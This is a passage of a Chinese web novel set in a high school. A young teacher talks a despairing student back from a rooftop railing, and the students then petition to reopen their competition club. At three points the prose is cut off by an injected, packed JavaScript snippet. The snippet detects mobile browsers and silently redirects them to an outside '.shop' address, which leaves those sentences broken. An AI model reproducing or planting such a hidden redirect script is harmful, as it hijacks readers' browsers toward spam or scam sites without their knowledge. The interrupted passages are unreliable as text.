“徐老师,你说,竞赛部没了,我爸妈还不给我打球,我的人生还有什么意义?”姜程阳靠在栏杆上目光空空,不知道在想什么。直到看见徐真突然闯入,他才淡淡开口。 这孩子张口就是这种“生而为人,我很抱歉”的腔调,让好不容易爬上顶楼的徐真骤然冷汗直流。 她尽力稳了一下自己颤抖的声音,搜肠刮肚,“考教资的时候书上例题怎么解决这种情况来着…哦我要先安抚学生情绪,控制住学生的行为举止,让他们不要做出过激行为。” “小姜,你的人生包括了很多方面,学习和体育只是其中两个,不需要因为这一两个方面全盘否定自己……” 谁知道这句话不仅没起到安抚作用,反而更刺激到对面那孩子了,“不!徐老师你不知道!”姜程阳的声调突然扬高,“我没有别的方面了…” “那天唐老师讲完,我就去和我爸妈商量,说竞赛部关了,我本来就不喜欢竞赛,能不能让我去篮球校队,我想考体考!” “我妈…我妈听到后直接破口大骂,说全都是我自己作的,把竞赛部作没了,天天只想着打球…不务正业…”或许是有人可以倾听,他情绪越来越失控,还忍不住抽噎了几声。 “她说我这辈子就这样了,没出息,她和我爸两个大学教授怎么生出了个我这样的玩意…” “明明,别人都可以,选择,自己可以干什么,我呢,凭什么我不能,我是不是真的很差劲…”他靠着墙的身体慢慢下滑,最终捂着脸蹲在角落里。 这可把躲在楼梯口默默观察的老师们吓了个半死,一个两个都想立马冲出去把他拖下来。 幸好当时为了防止发生意外,学校栏杆下的墙体砌得很高,如果不是情绪上头激动,直接从周围借力蹬上去的话,靠着墙一时半会出不了什么事。 灯光从高处斜照,墙体在地面洒下一片阴影,姜程阳就缩在那片黑暗之中,同时也把自己困在了那方寸之间。 眼见着局面渐渐往预想的反方向倾倒,徐真更加手足无措,“怎么办,书上也没教产生反面效果后该怎么办啊……嘶,那教育心理学…哦,对,共情,对,我要设身处地地理解学生的情绪,要让学生觉得我跟他是一边的……” 在这千钧一发之际,徐真突然想起,她之前每次在竞赛部看到姜程阳的时候,他都在电话里跟他爸妈吵架。 “跟父母之间的矛盾吗…如果我跟他分享我的故事,会有正面效果吗…”她掐了掐指间,让自己尽量冷静下来。 她感觉她的灵魂似乎脱离了身体,以一种审视的角度,听见自己用这辈子最为温和柔软的语调,向姜程阳娓娓道来那些属于她的校园苦恼。 谁没有青春过叛逆过,就算是看起来乖巧听话从不惹事的徐真。 “小姜,你知道吗,跟你喜欢打篮球一样,我中学的时候也有爸妈觉得不务正业的爱好。我从小就喜欢动漫二次元了,当然现在也喜欢就是了。那时候每次考试我最期待的就是拿着发下来的草稿纸画画,在上面画画简直灵感爆棚。”徐真舌头有些不听使唤,说出来的话显得有些语无伦次。 “哎呀你们肯定早就知道了,我办公桌上摆了一大堆手办和立牌,哦其实里面还有几张海报是我自己画的!” 她试图讲些俏皮话缓和气氛,手上飞速发消息让自己的同事领导稍安勿躁。 “我当年特别也不想参加高考,我想去艺考,我想去学素描、水粉、油画,什么都可以,只要能让我画画。” “但是我爸妈坚决反对,他们觉得没前途、不稳定。我没你这么勇敢,敢和爸妈反抗。我只能安心考高考,其实我的成绩根本不算出彩,最后只上了一个中上的大学。” “我当时也觉得没办法选,我也很难过,认为自己的生活灰暗不会再好起来了。” 徐真越说越顺,开始渐入佳境。她的眉眼弯弯像月亮,不像在说绝望,反而眼中流光溢彩,像是要把希望和力量传递给姜程阳。 “但其实不是这样的——” “我曾无数次想过,如果,我当年执意学画画,我的人生轨迹会有什么变化吗?” “其实我幻想过很多种结局,在平行时空里,我可能成为了一个画家,画作有名到在拍卖会上被别人竞价。”她掰着手指细数。 “也可能成为了一个漫画家,创造出了我自己的二次元主角。” “或是我其实压根就没有绘画的天赋,毕业后甚至没法为自己谋生。” “最后我发现,这些都是另一条路上会发生的事,在那里画画是我的人生主旋律。” “但是我已经走在这条路上了,我发现我仍然喜欢画画,它成了我的兴趣爱好,也是我生命中不可分割的一部分,我的生命因此而精彩。” 或是同样做过成为球星这样天马行空的梦。对面一直沉默的姜程阳终于是把低着的头抬起来,眼睛红红的,但情绪稳定了些。 ——或许事情真没有这么糟。 “小姜,你爸妈那边,我们可以想办法帮你沟通,她当时可能在气头上,没有否定你价值的意思。” “我希望你能明白,参加竞赛并不意味着你再也没办法打球,它可以作为你的谋生手段,供着你的兴趣爱好。你不用放弃自己的爱好。” “你想去校队打球也没有错,学校本来就是为你们组建的校队,你大可以去展现自己的能力,去大放异彩。” “你打球很厉害,有着非一般的潜能,不是什么不学无术的废物。”徐真还凭着自己的印象做了一个很不标准且滑稽的投篮动作。 “所以,不管你选什么,我们可以一起面对。” 看着他被逗乐后开始迟疑的样子,徐真觉得时机到了,“所以,小姜,你能离开栏杆那吗,天台风太大了,咱们去办公室休息讨论一下怎么跟你父母说好吗?” 姜程阳沉默了几秒,吸了吸鼻子,挣扎了一下,发现浑身上下全软了,闷闷地求助:“徐老师,我腿没劲,你能来拉我一下吗?” 徐真心中不断作响的警铃总算是停了,终于让她给人劝下来了,她示意楼道里的同事准备接人,走过去把姜程阳用力扶起来。 怪不得说背一万遍书,都没有真正遇到一次有用。实际碰上的这种紧张感压根不是理论能模拟的。不过如果可以,谁会想真正遇到一次。只能说一定要未雨绸缪,防范于未然。 “妈呀这个天天打篮球的小伙子可真沉!”徐真咬牙使劲,走得歪歪扭扭的。 好在后面有周组长和一帮男老师可以帮忙,愣是把这个脱力的壮士抬到了办公室。 “所以,你是说,他早上是请病假了所以完全没人发现他白天就不见了!”向匆匆赶来的警队表示完感谢,再把孩子安抚下来后。周组长终于有心思开始追责了。 “你告诉我,这孩子除了心理上有点问题,哪看出来有毛病可以请假!”周组长匪夷所思地盯着他的班主任。 他班主任有苦说不出,“校医院那边说他发烧发到40度了,这都快烧懵了不可能还留着他考试吧,他说他不想回家跟他爸妈吵架,我就让他挂个水回宿舍休息了。” “见效这么快?上午40度现在退烧了?校医院那帮人呢,怎么操作的,一个人这么干,到时候个个人这么干,学校干脆一起全年放假算了。” 周组长揉揉眉心,低头一看自己还围着上面有几只卡通小猫的围裙,这才想起他灶上那做了一半的菜,算了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不行,我高低得跟校长申请更新学校系统!”周组长咬牙切齿立下军令状,如今总算是明白邱主任当年看到展妙那事的无语哽塞。 只能说这条产业链缺一环今天的事都发生不了。 “行了,里面那个竞赛部的小孩就交给你了。”周组长拍板,“有什么问题跟年级说,看要不要请他爸妈过来聊聊孩子的心理情况。” 行,这竞赛部真是形散神不散,这破孩子还没转入校队之前估计一直要佩戴着竞赛部的标签,唐瑜嫣无奈起身准备去做姜程阳的心理工作。 “哎,小唐,你别太凶啊,笑一下哈。人情绪刚稳定,别再刺激他!”好几个老师赶紧嘱咐道,怕唐瑜嫣进去下狠手。 她又不吃人……这到底是谁传的她是个凶神恶煞的冰山美人。唐瑜嫣无奈,唐瑜嫣麻木,对着镜子整理了一下表情才进去。 姜程阳听见开门的声音,立马把还没擦干的眼泪擦干,把纸团成一团,窝在手里。 他觉得自己丢死人了,在这么多老师面前哭得稀里哗啦的,刚想挽救一下自己的男子气概,就看见进来的是带着不自然的诡异笑脸的唐瑜嫣。 他组织了一下语言,颤抖着问:“唐老师,那什么,你中邪了吗,那个,我,我不会跳大神啊!” 一听这话,唐瑜嫣就明白臭小子八成是没什么事了,瞬间抹平嘴角,“小姜,你现在是怎么想的,你爸妈那边我可以搞定。” 这话可比她微笑着进来给姜程阳带来的感动大多了,但他还是迟疑地说:“我当然是想去打球的,但我爸妈…不是那么容易就能被说服的…他们…有偏见…” “没事,只要你没有问题就行,联考完你就去训练吧,别耽误了。”唐瑜嫣看起来很无所谓。 姜程阳还想说什么,其实他已经跟他爸妈吵了好几次了,其实他根本没报太大希望。但此刻他突然觉得眼前的人好像有种无所不能令人信服的气质。 他想,既然她都能搞定冯熠他们,那万一也能说服我爸妈呢。 事实证明,等他再打电话给他爸妈的时候,电话那头,他妈略显冷硬地说给他一次机会,只要在校运会和市运会上闯出点名堂他们就答应他去打球。 12. 第 12 章 得益于高考改革之后排列组合得五花八门的选科,这场旷日持久的联考持续了整整三天——哦,除了可能有些两科都安排在上午的幸运儿在第三天中午就结束了。 但与之相反也有一些倒霉蛋,一直要考到第三天晚高峰那点,通常这时候要是留学校食堂没饭,回家路上堵车。甚至是一惨惨三年,每次考试都要吃一遍坚守到最后的苦。 无论如何,在最后一科考试结束铃声打完之后,这帮压抑到极点的孩子们实在忍不住鼓起掌,齐声喊出:“终于!结束了!” 一个两个桌子椅子也不移回原位,练习册资料也顾不上从柜子上搬回来了,拉着行李箱就往校门口冲,教学楼下一时乌泱泱的,活像非洲动物大迁徙。 学校特许这周放假时间延长一倍,从整整半天变为加上今天晚上堪堪一天。无所谓了,反正对于高中生而言,多放一小时就是赚。 加上假期重质不重量,只要回家每一分每一秒都和手机亲密接触就好。 冯熠一回家就瘫在他房间堪比总裁三米多的大床上,他那个扔在哪个不知名犄角旮旯的手机在不停地狂震,想也不用想,肯定是他那帮狐朋狗友们在疯狂轰炸。 “冯哥,上号,瓦!”“五排缺一,快来!”“爸妈不在家,单纯男高等你来玩!”“铲一把铲一把!”“人呢人呢!” 吵得要死,他气得想摸到手机通通给屏蔽掉。 这段时间他每天茶不思饭不想,总算是把自己的思路捋清了,他不想当什么不学无术的大少爷了,他要干出属于自己独特的成就! 他想,参加高考太普通,体育美术没天赋,打电竞怕把自己唯一的爱好磨灭,加之他铁了心要在唐瑜嫣面前争口气,他就要去学竞赛! “竞赛部没了,我就自己建一个!”他一个鲤鱼打挺从床上蹦起来,一手指天一手指地,中二地对周围的空气宣布。 想法很美满,现实暂且还不知道。他立马一个电话打给了日理万机的冯总和冯夫人,“爸,妈,我现在宣布个事儿,我要从今天开始改变自己,我要开始励志了!” 冯总和冯夫人一听被吓坏了,根本顾不上听他到底要励什么志。一个把公司报表一丢,一个把脸上的面膜一撕,风驰电掣地赶回家,想看看自己儿子是不是烧坏脑子了。 “小熠啊,你想买什么跟妈妈说啊,不要想不开自己去投资开公司啊!”冯夫人忧心忡忡。 冯总连连点头称道,“是啊,这个开公司有很多门道的,爸知道你想闯出一番事业,但……” 那句话怎么说来着,不怕富二代吃喝玩乐,就怕富二代发奋图强。 什么跟什么啊,冯熠重重撂下碗筷,在他爸妈关怀的眼神下,拼了命想打断他俩离谱的猜测,“我对开那破公司没什么想法——” 两人立马缓了一口气,喜笑颜开,冯夫人更是揉了揉他的头发,“哎呀,不开公司就好,别的干什么爸妈都支持你啊!” “听我说,听我说完,我要去,学竞赛!我要拿国奖!”冯熠的声音越来越大,终于是盖过了他爸妈打岔的声音,给他把话说完了。 “学竞赛好啊,学竞赛好,不过你之前不就在学竞赛吗,怎么这时候还专门来跟爸妈说一声。”冯父冯母又异口同声。 “没什么,突然想认真了,就通知你们一下。你们要相信我。”说起之前冯熠突然感到一丝心虚,声音又低下来。 “相信相信,一定相信,连带着你爷爷奶奶外公外婆一起相信!” “哎怎么还扯上爷爷奶奶他们了!”冯熠有点受不了,这过于矫情了。不过这下他有重建竞赛部的底气了,大不了从家里捐个二三百万。 这一天的假还是太短了,就算一直瞪着眼按秒过,都还有一种转瞬即逝的感觉。 对于老师来说假期过得就更快了,因为他们压根只放了一晚上。 他们首先是开了一个有关学校安全管理的紧急会议,接着就是有关学生心理健康教育的讲演,最后还有有关家校紧密交流联系的多校联合研讨会。 就像很多学生会在水课上写作业,唐瑜嫣也不得不在大会上改试卷,学校要求要以最快速度把成绩出出来。 其实大多数试卷还好,写不出就基本是空着,写得出的基本是对的。但千百份试卷总会有几个清流。 看得出同学们的精神状态很好,什么“阿化我真的不会你再爱我一次”,还有什么“双枪会给出答案”。 唐瑜嫣看到这些差点在校长讲话的时候笑出声来,拼尽全力绷住脸上的肌肉。 谁知道被在上面巡逻的盛主任抓到了,走过来拍拍她的肩让她开会专心点,不要嬉皮笑脸开小差,不然要罚她站到后面去了。像极了以前抓上课写作业,唐瑜嫣直接给气乐了。 正因为老师这般舍生忘死地改试卷,成绩居然在学生回来第二天赶出来了。 相比于冯熠压根不在乎分数是个位数还是十位数,魏浩看到自己的成绩单顿感心肌梗塞。 他微眯着眼先瞄了一眼数学,好的,147,不错,毕竟他是学过竞赛的,这试卷夹了几道竞赛题也远不及正赛题目难度高。 数学就应该是这样的,我就是天才啊!没人分享喜悦,他只能在心里给自己狂竖大拇指。 然后他放心地看剩下总共就学了一个星期的五门,加起来都没这一科高,还有100分是英语加语文贡献的,终于是释怀地逝了。 他烦闷地咬着笔盖,在思考自己重回数学竞赛的可能性,虽然可能拿不了牌,至少比学这些玩意好。 他已经耽误了一年在数学竞赛上了,他得在两年内赶完人家三年的进度,嘶,这太折磨了,而且沉没成本太高。 “还是去求一下唐老师吧,我应该还算有潜力,学校大概应该可能不会放弃我的吧……顺便再捎上严鹏飞,我们俩一起去说。”他暗自下决心。 所以,有些时候人做选择不仅是出于自已对某些方面能力的信任与对某物的喜爱,更是因为发现其他方面走下去压根是死路一条。 “哎,哥们我找魏浩,你们换位置了是吗?”在学校计划了整整两天复辟竞赛部制度行动的冯熠这时像一阵风一样卷进了他们班教室。 魏浩震惊地看着冯熠炮弹似的冲向他,然后掏出了一张陈情书,还是手写的,狗爬一样的字恳切地承认了他们的错误,请求唐瑜嫣能够大人不记小人过,重新让竞赛部开张。 底下已经有几个人签了名,冯熠二话不说抓起桌上他自己的笔递给他,“这儿,签,咱们的竞赛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406461|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部由咱们自己拯救!” 魏浩跟做梦一样,直接傻了眼,沉浸于刚刚还在脑内幻想的事,突然有人做了一半递他脸上了的恍惚。 “哦,哦好。”魏浩下意识地签上了自己的名字,然后又听见对面说,“哎你去说服一下严鹏飞,他要是签了,说服那帮之前跟他一起退出竞赛的优秀分子加入估计都没问题了,通通拐上咱们的贼船!” 魏浩刚想说他也想找严鹏飞,但对方还没来,试图拖延一下面对正冷战中的好友的时间,没想到一抬头就看见那个熟悉的身影向他走来。 今天真是撞了鬼了,一个接一个的,冯熠刚说完这话,严鹏飞跟听见召唤似的就出现了。 “行吧早晚的事,要不我还是跟他道个歉吧…不对…我道什么歉…我做错什么了吗…但是指望他道歉那我们这辈子都别想说话了…好吧好像也是我先不理他的…而且态度有点不好了…” 他在心里天人交战,犹犹豫豫半天,竟然是给严鹏飞抢先开了口。 “我…我那个…你…退竞赛部…”梗得脖子以上全红了。虽然这开了口也跟没开一样,但至少从表情上看得出他尽力了。 旁边的冯熠实在是受不了这两个一个在干瞪眼装哑巴,另一个在你你我我真结巴的人了。抬手左边给一巴掌,右边更是两巴掌。 “哎你们,我受不了了,我来说好吧,教室是我们用的,那天魏浩不在不知道,他不是故意把你教室弄乱不管的。游戏也是我逼着魏浩打的,吃饭是我拐他去的。你们都没错,全是我的错!”冯熠一口气也不带喘,“我罪大恶极,我坏事做尽,记住了啊!” “愣着干嘛,点头啊!你们学霸不就喜欢写笔记记重点吗!” “真是让人操碎心了,一个个都不长嘴。”他恨铁不成钢,侧身站在严鹏飞那边,“对不起,魏浩,我突然退出竞赛没告诉你,没有生你气。” 又转身挡在魏浩前面,掐着嗓子,“我没有怪你,我可能说错话伤害你了,对不起,我不想和你绝交。” 然后一把拽住他俩的手放在一起,满意地宣布,“好了,讲清楚了,你们已经和好了。现在让我们一起去夺回竞赛部吧!” 冯少爷心直口快的风格把这俩别扭笨蛋震住了,手就一直搭在一起忘了收回去,怪滑稽的。 “行了啊,别愣在这了,咱误会解除了啊,严鹏飞你赶紧签个字!” 严鹏飞这才回过神来,快速地签了一个潇洒的名字,在一堆狗爬字里格格不入。 冯熠看他签了拿着单子就往外跑,留下魏浩和严鹏飞大眼瞪小眼,“哎我拿去让别人签啊!咱们待会化学组办公室见!” 走廊上随即传来他得意地笑声,“哈哈哈哈,这下不怕了!有本事他们把这帮年级之光全部处分了哈哈哈哈!” 魏浩挠挠头,这次抢先开口了,“就是他说的那么回事,嗯,全是他的错。” 严鹏飞也认可地点点头,“好,他的错。” 冻住他们俩的某些东西突然融化了,好像也没有他们想象中那么难以启齿,也没有那么天崩地裂,那只是一段小小的乐曲间章,一个童话故事里最常见的误会情节。 这一场冷战就这么戏剧化的结束了,他们俩肩并肩,一起走向化学办公室。 13. 第 13 章 冯熠高举着陈情书,率领着竞赛部起义军,一路高歌猛进,攻入了化学组办公室,此番张扬的姿态仿佛那张纸上写得不是深刻忏悔,而是什么“苍天已死,黄天当立”。 正盯着电脑狂敲会议纪要的唐瑜嫣被旁边的老师拍了拍肩膀。 “小唐,好像是来找你的。”对方都不敢相信自己看到了什么,怎么上了一天的班,他们的办公室终于要被攻陷了吗,那简直是太棒了!早就不想干了!大家一起同归于尽吧!一个加班加到黑眼圈整整挂了半张脸的社畜如是想。 那帮倒霉孩子停在了挂了“唐瑜嫣”三个字牌子的办公桌前面,像一堵墙,里三层外三层,顺便还帮她把灯光也给挡完了。 “终于来了,这帮孩子总算是沉不住气了。”唐瑜嫣欣慰地想,他们再不来这戏真唱不下去了。虽然她基本能肯定,依照他们的性格,肯定会闹这么一出。 她假装一种不理解不明白不清楚,你们到底要来干什么的茫然样子,还先把手上的文档按了保存,以免一晚上工作白费,才站起来扫了一圈这帮半吊子“兴竞军”。 意料之外情理之中,人基本上来全了,甚至包括了已经跑去篮球队,但表明自己也想出份力,除了不学竞赛外,生是竞赛部的人死是竞赛部的鬼的姜程阳,还有之前跟着严鹏飞一起退出的不吵不闹的省心份子。 “又怎么了?”她接过了陈情书但没立马看,反而若无其事地问,“还没闹腾够?忘记还有处分没消了?” 冯少爷一马当先,代表所有人开口,“唐老师,我们已经经过了深刻地反思,对自己曾经的行为感到痛心疾首,但痛定思痛,我们希望您能给我们一个改过自新的机会,让竞赛部重新开门!” 他铿锵有力又带着点嘶吼的声音甚至在办公室回荡了几秒,一下子惊醒了在办公室值班办事太久头脑都有些不清醒的老师们。 比起干单调无聊的工作,明显是看百年难得一遇的学生起义更为有趣,一个个都赶上来凑热闹,像大鹅般伸长脖子,在办公桌后面露出半个头。 更有甚者还抚掌感慨,“人非圣贤,孰能无过?知错能改,善哉善哉,小唐,要给这帮孩子一个机会啊!” “是啊,唐老师,给个机会呗!” “唐老师,我们保证再也不会闹出之前的事。” “唐老师,以后你叫我往东我就一定不会往西。” 那帮孩子听到有老师帮他们说话,立马用亮晶晶眼睛盯着她,叽叽喳喳,你一言我一语地恳求并保证。 他们之中或许有部分人是“冯熠”,有部分是“魏浩”,是有一部分是“严鹏飞”。 但无论他们性格如何,想学竞赛的目的如何,今天都聚集于此,像一根牢牢拧在一起的绳,像一团熊熊燃烧的烈火,坚定不移地向唐瑜嫣表明他们的思考与决心。 “终于像点样子了”,唐瑜嫣想,果然有些东西只有失去了才会懂得珍惜,通过自己努力抢来的东西才更显宝贵,不枉她绕这么一大圈做这个局,还差点整翻车。 不过演戏要演全,她假装这时候才松口,“行,既然你们有这个想法,我也提几点要求,先做到再说别的。别全堵在这,我们找个教室说。” 堵门是次要的,最重要的是她实在顶不住一办公室老师的八卦之心和起哄之魂,感觉丢脸丢到姥姥家了。 于是她在所有老师遗憾、谴责的目光下,指挥起义大军把主战场转移到旁边的会议室。 “你们想重开竞赛部可以,但我们要约法三章。”唐瑜嫣站在讲台上垂下目光俯视,同时拿出了准备了很久的竞赛部“卖身契”。 她指着第一条,“首先,我知道学竞赛离不开使用电子产品听网课和参加线上比赛。禁用手机不现实。” “但是——”她话锋一转,“我们要进行严格管理,你们平时没有使用必要的时候,要把手机放在徐老师那,而且每次使用,都要去和她打申请。” “等到后期你们网瘾没那么严重且需要冲刺刷课的时候,你们再拿回去自己保管。” 她一边说一边发保证书,人手一份。 “第二,你们基本都是高二的,今年九月各学科的正赛都准备开始了,如果之前一点都没学过,估计这次是没有希望了,所以我们的主要目标是明年的大赛。” 她顿了顿,觉得应该要打一个巴掌给一个甜枣,别让人开头就失望,“其实大家也不用过于可惜今年这次机会,大多数人第一年都是去体验一下,第二年才冲奖的。” “你们有些拿到正赛资格的可以也去试试水,很久没学,写不出题拿不到奖也没关系,感受一下氛围和题型。” “不要过于焦虑,考不过那些高三的很正常,不需要怀疑自己。”她大概是想点一下魏浩,这人听到后眼神尴尬地乱瞟。 “不知道你们高一的基础打得怎么样,一般高二开始就是复习深入了,我们明天先写一张卷子,看看你们是哪个板块不会,然后开始赶进度。” 包括冯熠在内的好几个少爷闻言立马捂住自己心脏,有种令人窒息的心跳骤停感。一个个痛心疾首,为什么自己之前什么都没有学!光买了一堆崭新的书,甚至名字都没顾得上写,感觉可以直接留给下一届! 查缺补漏是不可能了,现在急需登场的是回炉重造和女娲补天。 “我不知道其他学科怎么样,所以就以化学竞赛举例子,你们要是几大基础化学都没学完,那也别想着搞进阶和刷题了。” 接下来她就跟报菜名一样,“无机有机物化分化化原结构,总之这些基本的书一定要看完学完,才能进入下一步,别的学科同理。” “学校教竞赛的老师都愿意帮你们补课,学校之前帮你们买过的那些教授和拿过金奖的学长开的网课,在系统里都可以回看。” “我当年的课就是陈老师帮我补的。”她补充。 他们学校有能力教竞赛的不多,一门也就两三个老师经验比较老道,个个都是教学中流砥柱,经常高考竞赛两边跑,没有专供竞赛的职位。 “跟以前一样,学校安排老师上课的时间是上午九点到十二点,下午二点到六点,教的是正常二轮的东西,你们晚上自己抓紧把之前缺的给补好,补完的就自己刷题打点小比赛。” 她想起什么,突然顿了顿,升起一个荒谬的想法。 “哎,所以你们没改制度…那为什么我之前看了几天监控,白天也没有老师上课?” 周围像按下了静音键,魏浩更是咬牙切齿地移开眼,她好像抓到了什么关键点。 “间接原因是他们天天逃课老师过去没人教,直接原因是化竞教室那事把竞赛部老师全惹毛了。”坐在他旁边的严鹏飞面无表情地给唐瑜嫣科普。 人干坏事的时候是不会嫌累的,告状的时候怎么就不结巴别扭了… “我求你,能别说那教室了吗…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406462|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”魏浩想到自己背的黑锅就烦,也不管气氛如何,一脸狰狞地扑上去想捂他嘴,对方向他挑了挑眉。 这帮孩子,唐瑜嫣无奈,于是现场制定新规。 “得,那我再加一条,你们先去跟竞赛部老师和主任道歉,并保证再也不逃课搞破坏。” “暂时我就想到这么多,到时候看情况再加。你们具体的二轮安排到时候打出课程表给大家。 “一轮补课先看你们写卷子的情况。到时候你们的老师改完卷子后,我会听取他们的建议,给你们制定一些大方向的阶段自学计划,不会具体到每一天,一段时间内完成就好。” 这话说完大家压力都小了不少,毕竟谁也不想被鞭子按时按秒地抽着走,至少稍微有点自由空间。 “行了,签上你们的大名吧。”唐瑜嫣也不管他们愿意不愿意,大手一挥,“我会把它们和你们写的陈情书一起裱在竞赛部门口,时刻给你们警醒。” 签字和收保证书的过程就不用太多赘述,总之就是没出什么幺蛾子,要是再出什么幺蛾子,唐瑜嫣真要撂担子走人了。 她点了一下保证书的数目,齐了。 “好了,没什么问题的话就先这样吧!大家各回各家,各找各妈。什么时候跟竞赛老师们道歉完,什么时候竞赛部开门。” “你们要是有本事,明早就可以自己去撕封条了。”说完她就转身走下讲台,急着回办公室继续打她的会议纪要,过一会儿领导又催着交了。 “哎等等,唐老师!”是冯熠的声音。 唐瑜嫣停下脚步,揉了揉太阳穴,“他为什么每次都要在结束的时候,才能想起来自己要说什么。”全然忘记是自己太过暴君,刚刚才给了他们张嘴的机会。 冯少爷似乎带着些难得的羞赧,不知道是积攒了多久的勇气才开的口。 “唐老师,我想说,我觉得,才不像你之前说的。在我心里,你的话就是很有力量,你就是能激励鼓舞大家,你…在我心里,已经是一个很好很好的老师了。” “因为你的出现,我们才开始向内探索,才找到改变自己的决心!” “唐老师,你在搞定我爸妈的时候在我心里就是神了!” “谢谢你!小唐老师,救命之恩无以为报,也没法以身相许哈哈哈哈!” “唐老师天下第一牛逼!” 一个接着一个。 唐瑜嫣听到一半就有点听不下去了,想找个地缝钻进去,太肉麻了,这帮中二少年怎么能讲出这么肉麻的话。 她脸颊染上几丝薄红,耳垂更是烫得没边,平时犀利的声音里带着点气急败坏,“改变什么呢,什么都还没开始呢,真以为自己已经功成名就了!你们没拿奖,竞赛部该解散还是要解散!感谢宣言等拿到国奖再发表!”然后以当年躲保安的速度溜走了。 “唐老师,这下我让你刮目相看了吗!” “嘿嘿,唐老师,我们喜欢我们给您带来的惊喜吗!” “我们一定会守护好竞赛部的!唐老师!” “小唐老师,等着,我们一定给您拿个金牌回来!” 他们还在得意地喊着,一字一句四处飞散回响,镌刻在夜空中。 可能少年就是少年,一举一动都带着青春朝气,连笑着打闹着都是明媚的。 唐瑜嫣想,简直是疯了。她居然真的在他们身上看到了那股名叫“书生意气,挥斥方裘”的豪情壮志。 14. 第 14 章 唐瑜嫣死都没想到,自己这辈子居然有一天是被学生催着早起上班的。 ——那帮超活力份子真在一晚上取得了所有老师的原谅,包括之前放出暴言,宣称再理他们自己就是狗的竞赛部王主任。 但话都放出去了,她总不能出尔反尔,只得忍气吞声的,六点半就从公寓出发赶去竞赛部。 那些个平时只要宿舍不关门就誓死不起床的少爷,今天还没等操场那边音乐响呢,就爬起来冲到竞赛部门口了…… “大清早的怎么全那么精神……年纪大了就是比不了。”不似他们精神抖擞,唐瑜嫣昨天忙到快凌晨,现在大脑还在宕机中。 “唐老师,快点啊,就等你开门剪彩了!” 行,撕个封条还当成剪彩了…… “唐老师,兵贵神速啊!懒懒散散的像什么样!” 冯熠看着她打着哈欠,慢吞吞地挪过来,拳头松了又紧,真想冲过去推着她走。 “你们去找徐老师拿钥匙自己开就好了,我答应你们了又不会反悔。” 唐瑜嫣感觉自己又回到了学生时代,那些总有人在门口盯着她踩点的日子,无语的同时又倍感亲切熟悉,就说重返学校能让人年轻吧! “哎呀,唐老师,竞赛部重生!大喜的日子!生活要有仪式感呀!”为了记录这历史性的一刻,冯熠还专门叫了个平时玩相机的哥们。 “唐老师,你来站中间,对…徐老师你也去中间,我们其他人围着你们!”冯少爷站在所有人前方,威风凛凛地指挥自己的部将。 唐瑜嫣刚想拒绝,却被那拍照的哥们抢先开口,“唐老师,来都来了!别扫兴嘛!” 话都这么说了,没有办法,她只得挤出一个微笑被迫营业。 “来,大家看镜头,笑一个…321,茄子!” “换个动作,嗯好…321!” “好了!冯哥我拍了好几张你们到时候自己选一下!” 这位仁兄一看就没少被抓去帮别人拍照,三下两下就搞定了,把照片给冯熠过目后,甩甩手就潇洒离去。 “不耽误你们时间了啊,赶紧去开你们竞赛部吧,我先走了啊!有需要再喊我!” “这是在搞什么竞赛部重生极速版嘛,效率这么高……”唐瑜嫣看着他窜出去的背影目瞪口呆。 吐槽归吐槽,看到这帮孩子生龙活虎地撕开封条,打开封闭许久的教室门与窗,拿起抹布和拖把搞大扫除的时候,她那点被迫起床的烦闷就散去了。 此时朝阳温柔地把摇曳的树梢映进教室,风扇兢兢业业地旋转嗡鸣,把空气许久不流通带来的木头受潮发霉的气味赶到窗外,徐真在登记每个人的设备数量和类别。 此情此景太过熟悉,回忆纷至沓来,在竞赛部里度过的碎碎片片、岁岁年年开始在唐瑜嫣大脑里闪现。 在她心里,竞赛部本就应这么平静,换句话说她认为她的高中生涯很大一部分都是平淡无波的,所以那些炽烈的、滚烫的、振奋人心的瞬间才会在记忆里留下更深刻的烙印。 她静静靠着走廊栏杆,看着少年上蹿下跳打扫卫生,再一个接一个排整齐添表格,最后各自回到自己竞赛教室归于安静——他们该写那张找短板的卷子了。 她想到了什么,摸出手机,拍照,发给宋飞珑。 他们俩的聊天框终于出现了除了工作汇报外的第一条消息。 “大领导,任务圆满完成,我奖励呢?饭呢?” 对面那个成天神龙见首不见尾,不知道在那个犄角旮旯出差开会的大忙人居然是秒回。 “你今天值班吗?” 唐瑜嫣点开相册扒拉了一下这周值班工作表,“不值。” “那正好择日不如撞日,就今天吧!” 这草率的,很符合她对宋飞珑的认知,这人在这种非工作的小事上就是如此随心所欲。 不过唐瑜嫣在某种程度上,也是跟他一样的人,于是很爽快地就答应了,谁不喜欢白蹭领导一顿饭呢!下午一到下班时间,她就拍拍屁股走人。 “小唐!这儿这儿!”宋飞珑是从教育局那边来的,比唐瑜嫣快,于是把菜点好了等她。这热情劲,不像五年没见过。 唐瑜嫣看到他订的是这的时候顿感无语,怎么这么多年了,这羊肉串店还是这么生意火爆——甚至更上一层楼,现在得提前约位置了。 不过她压根没打算精心打扮自己,也无所谓这个店会不会熏得她全是味,没那么讲究,所以很坦然地接受了。 “喏,刚刚烤好的,给你点的微辣。”他起身给她拉开椅子,递过来一串。 